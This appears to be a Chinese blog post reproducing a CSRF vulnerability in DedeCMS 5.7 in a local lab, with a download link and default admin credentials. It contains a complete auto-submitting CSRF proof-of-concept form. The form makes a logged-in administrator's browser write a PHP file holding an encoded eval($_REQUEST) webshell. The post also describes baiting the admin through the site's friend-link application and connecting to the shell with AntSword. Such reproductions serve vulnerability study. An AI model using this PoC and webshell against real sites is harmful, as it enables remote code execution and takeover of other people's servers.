DedeCMS织梦5.7--CSRF漏洞复现

dedecms前端底部存在【友情链接--申请加入】功能入口,提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验,可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接,当管理员在已登录状态下访问该链接,是否可能触发后台危险操作?


将5.7版本的dedecms部署到本地phpstudy的www目录下

我在网上找了好久的这个版本的dedecms,在这里分享出来,大家可以直接下载

通过网盘分享的文件:dedecms.zip

https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw

提取码: j2e6

默认后台登录路径:拼接dede,进入后台,可以直观地看到我们文件的操作

默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包,抓保存时的包,可以看到包中含有刚刚写入文件的木马

然后生成poc用于验证是否含有csrf

复制生成的HTML,在桌面新建一个.html文件,粘贴进去

复制代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="222&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;'123'&#93;&#41;&#59;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将这里文件名改为222,便于和我们新建文件时上传的muma.php文件进行区分

回到dedecms,可以看到我们bp将包放掉后muma.php文件就上传成功了

打开上面创建的.html,点击submit request

登陆进去,得到此url

模块--友情链接--增加链接

将得到的url填入网址栏,提交

点击新建的链接,会有报错但不用管

回到自己创建的写有poc的网页,点击浏览器左上角向左回退的箭头,退到submit request页面,再次点击,发现从poc的222.php文件上传成功了

回到原网站,刷新,222.php文件也上传成功

说明该网页存在csrf

(注:如果写入poc的html页面登录进去没有222.php文件,浏览器左上角箭头回退到submit request再登录多试两次,或者从抓包开始到这步重复两次222.php文件就有了,本人也是重复了好几遍,感觉应该是网站的问题)

蚁剑成功连接,说明木马写入成功

或者访问222.php文件,并且传参phpinfo,成功,也说明木马写入成功

相关推荐
ℋᙚᵐⁱᒻᵉ鲸落1 小时前
移动端滑动手势冲突:overflow: auto导致外层横向滑动失效
前端·javascript·css·vue.js·html
默_笙2 小时前
🎃 前端学了 Next.js,后端该学啥?NestJS 就是 Node 版的蜜雪冰城
前端·javascript
前端snow3 小时前
ai agent --- 实现 openclaw 定时间效果
前端
DsirNg3 小时前
凭证不是登录态:从攻击面重做浏览器认证设计
oauth·xss·csrf·token·cookie·认证授权·web 安全
码云之上4 小时前
换模型之后,Chatbot 为什么要自己做 compact?
前端·agent·前端工程化
星栈4 小时前
自定义 UI-UX-Pro-Max 的 CSV 知识库,把 AI 生成的后台拉回行业该有的样子
前端·agent·weui
研☆香4 小时前
简单的图片上传 删除 预览
前端
ITresearchGuest4 小时前
我用 AI 一小时写了一个世界杯数据可视化平台|前端 VibeCoding 初体验
前端·人工智能·信息可视化
慧一居士6 小时前
Vite项目中使用Less步骤,详细使用示例
前端·css
芯盾时代6 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全